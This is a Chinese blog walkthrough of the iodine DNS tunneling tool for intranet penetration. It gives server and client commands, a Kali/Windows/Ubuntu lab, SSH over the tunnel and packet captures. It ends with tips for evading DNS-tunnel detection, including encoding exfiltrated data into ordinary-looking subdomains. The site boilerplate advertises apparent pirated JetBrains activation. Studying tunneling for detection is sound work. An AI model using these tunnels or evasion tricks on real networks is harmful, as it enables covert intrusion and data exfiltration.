1. 全栈程序员必看首页

内网穿透 隧道_内网渗透攻击

全栈程序员-站长 • • 未分类 • 阅读 4

内网穿透 隧道_内网渗透攻击本文研究DNS隧道的一个经典工具，iodine

大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全家桶1年46，售后保障稳定

目录

前言

本文研究DNS隧道的一个经典工具，iodine

github：https://github.com/yarrick/iodine

一、概述

1、简介

持续更新，C语言编写，官方：http://code.kryo.se/iodine/

IPv4 over DNS，即通过DNS隧道转发IPv4数据包，在编码，请求类型上提供了更丰富的选择

  • 客户端为Win10时，环境搭建后，可连接成功，但无法ping通（即不可用！）
  • 支持直连和中继两种模式
  • 支持常见的DNS解析类型：A、CNAME、MX、TXT等

2、原理

DNS原理见：一文搞明白DNS与域名解析

通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一局域网（可以通过ping命令通信）。在客户端和服务端之间建立连接后，客户机上会多出一块“dns0”的虚拟网卡。
　　
DNS隧道流程：iodine客户端->DNS服务商->iodined服务端

3、用法

（1）服务端

iodined -f -c -P <password> 10.0.0.1 vpn.abc.com -DD
-f：在前台运行
-c：禁止检查所有传入请求的客户端IP地址。
-P：客户端和服务端之间用于验证身份的密码。
-D：指定调试级别，-DD指第二级。“D”的数量随级别增加。
这里的10.0.0.1是自定义的局域网虚拟IP地址。

Jetbrains全家桶1年46，售后保障稳定

（2）客户端

linux环境：

iodine -f -P  <password> vpn.abc.ltd -M 200
-r：iodine有时会自动将DNS隧道切换为UDP隧道，该参数的作用是强制在任何情况下使用DNS隧道
-M：指定上行主机的大小。
-m：调节最大下行分片的大小。
-T：指定DNS请求类型TYPE，可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O：指定数据编码规范。
-L：指定是否开启懒惰模式，默认开启。
-I：指定两个请求之间的时间间隔。

windows环境：

  • windows客户端可以直接使用编译好的windows版本，同时需要安装TAP网卡驱动程序。
  • 也可以下载OpenVPN，在安装时仅选择TAP-Win32驱动程序，安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡。
  • 运行客户端程序iodine：iodine -f -P <password> vpn.abc.com，如果出现提示“Connection setup complete, transmitting data”，就表示DNS隧道已经建立。

二、实践

1、测试场景

（1）攻击机

Kali2021 192.168.10.128

（2）DNS服务器

windows server 2008 ：192.168.10.200

设置静态IP，参见https://blog.csdn.net/pockeyfan/article/details/42063683

新建A记录，指向服务端kali
在这里插入图片描述
新建一个委托（即NS记录）指向刚刚设定的A记录的域名
在这里插入图片描述
再建一个A记录指向windows server自己
在这里插入图片描述

（3）目标机

Ubuntu 18.04 192.168.10.129

由于模拟的是DNS服务器是真正的权威服务器，即目标机应该能DNS解析到DNS服务器，所以要把目标机的DNS解析改下

在这里插入图片描述
nslookup检测下

在这里插入图片描述

2、建立隧道

（1）服务端

建立隧道前状态
在这里插入图片描述
建立隧道

iodined -f -c -P 123456 10.0.0.1 dnstunnel.test.com -DD

在这里插入图片描述
此时多了一个网卡dns0，ip是我们设置的10.0.0.1
在这里插入图片描述

（2）客户端

建立隧道前状态
在这里插入图片描述
建立隧道

iodine -f -r -P 123456 dnstunnel.test.com

在这里插入图片描述
也是多了个网卡dns0，ip为10.0.0.2
在这里插入图片描述

（3）ssh

此时隧道建立成功，在服务端会打印出心跳包
在这里插入图片描述
尝试ssh
在这里插入图片描述
隧道成功建立，流量可代理
此时，打印出的包如下：

在这里插入图片描述

3、抓包看看

建立隧道，域名让人没眼看
在这里插入图片描述
虚拟网卡中TCP握手
在这里插入图片描述
心跳包，走了一个来回，域名太异常了
在这里插入图片描述
虚拟网卡中
在这里插入图片描述
ssh时
在这里插入图片描述
虚拟网卡中
在这里插入图片描述

三、探索

1、源码与分析

TODO

2、检测与绕过

（1）虚拟网卡

本工具会创建个虚拟网卡来处理TCP

没法避免

（2）记录类型

这对本工具问题不大，因为可以支持常见记录类型，上面实验里是没有指定，但可以指定为A就问题不大

（3）异常DNS数据包数量

利用隧道时，会有大量DNS数据包，且来自同一DNS服务器

绕过方法：中间加间隔，但这样就会导致速度非常慢

（4）异常域名

建立隧道和心跳包的域名都太异常了，使用隧道时的域名就更是长base64字符串了

绕过方法：心跳包用正常域名，使用隧道时将base64拆分，不过会大大增加数据包数量

比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名，变成 Zm -> zone.music.domain，lu -> login.user.domain，YW``yun.web.domain …

（5）心跳包

心跳包的间隔已经比较长了（3s），但是数量是问题

绕过方法：间隔可以随机，数量可以换UDP socket重新建立隧道

结语

类似于icmptunnel，构建虚拟网卡来实现隧道

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。

发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/219611.html原文链接：https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长
0 0


相关推荐

  • java项目中的classpath到底指向的哪里[通俗易懂]

    java项目中的classpath到底指向的哪里[通俗易懂]

    今天在项目里看到好多地方都用到了类路径，并且自己对路径还不是很清楚，所以就在网上百度了一下！上面图片的意思简单来说，就是classpath只能表示lib目录和WEB-inf/classes路径下的文件，calsspath不能表示的src路径下面的文件，但是从项目结构来看，配置文件一般是不放在放在WEB-INF下面啊，并且也没有看到classes路径，lib目录不是放依赖ja…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年4月4日
    117
  • ESCMScript（1）let和const[通俗易懂]

    ESCMScript（1）let和const[通俗易懂]

    ESCMScript（1）let和const[通俗易懂]1.let命令基本语法ES6新增了let命令，用来声明变量。它的用法类似于var，但是所声明的变量，只在let命令所在的代码块内有效。{leta=1varb=2console

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月30日
    13
  • 如何安装windows和linux双操作系统？

    如何安装windows和linux双操作系统？

    如何安装windows和linux双操作系统？如何安装windows和linux双操作系统？一、win压缩卷：1.右键此电脑，选择管理，选择磁盘管理。2.挑选一个磁盘然后右击选择压缩卷，空间大小自己确定。二、下载复刻工具和iso光盘映像文件：1.把它们都下载好，然后点击运行刻录工具。2.所有选项都默认，然后点击next就完事。然后到这个界面。3.选择好映像文件和U盘，开始写入。（注意写入后，U盘所有文件将被覆盖。）4.写入完成。5.将电脑关机。三、开始安装linux系统：1.开机时，持续摁自己电脑机型对应的键来进入BIOS，我的是esc键。2.选择U盘

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月24日
    10
  • TextBox为密码框赋值技巧

    TextBox为密码框赋值技巧

    TextBox为密码框赋值技巧当TextBox类型为密码框时，用普通的赋值方法（txtB1.Text=”abc”）是行不通的，TextBox是不会显示出内容的 应该采取：txtB1.Attributes.Add(“value”,”abc”),此时页面才会将“abc”以*号的形式显示出来。

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月24日
    7
  • w3c标准是什么_语言的特征主要包括什么

    w3c标准是什么_语言的特征主要包括什么

    w3c标准是什么_语言的特征主要包括什么什么是W3C标准站点标准(SiteStandard)不是某一个标准，而是一系列标准的集合。网页主要由三部分组成：结构(Structure)、表现(Presentation)和行为(Behavior)。对应的标准也分三方面：结构化标准语言主要包括XHTML和XML；表现标准语w3c网页标准，具体指那些？CSS布局HTML小编今天和大家分享高手指教，。WEB标准不是某一个标准，而是一系列标准的…

    全栈程序员-站长的头像 全栈程序员-站长
    2025年12月13日
    1
  • Pytest（15）pytest分布式执行用例「建议收藏」

    Pytest（15）pytest分布式执行用例「建议收藏」

    Pytest（15）pytest分布式执行用例「建议收藏」前言平常我们功能测试用例非常多时，比如有1千条用例，假设每个用例执行需要1分钟，如果单个测试人员执行需要1000分钟才能跑完当项目非常紧急时，会需要协调多个测试资源来把任务分成两部分，于是执行时间

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月28日
    21

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号